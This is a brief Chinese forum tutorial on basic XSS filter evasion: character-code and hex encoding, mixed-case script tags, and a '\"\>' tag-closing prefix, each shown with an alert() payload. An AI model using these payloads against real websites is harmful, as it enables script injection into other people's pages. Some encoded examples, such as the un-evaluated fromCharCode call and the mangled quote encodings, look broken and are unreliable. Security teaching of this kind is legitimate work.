XSS 绕过技术
四种超级基础的绕过方法。1.转换为ASCII码
例子:原脚本为<script>alert(‘I love F4ck’)</script >
通过转换,变成:
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
2.转换为HEX(十六进制)
例子:原脚本为<script>alert(‘I love F4ck’)</script>
通过转换,变成:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
3.转换脚本的大小写
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
4.增加闭合标记”>
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:”><script>alert(‘I love F4ck’)</script>
更详细绕过技术请参考此网页
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
转换工具使用的是火狐的 hackbar mozilla addon.
页:
[1]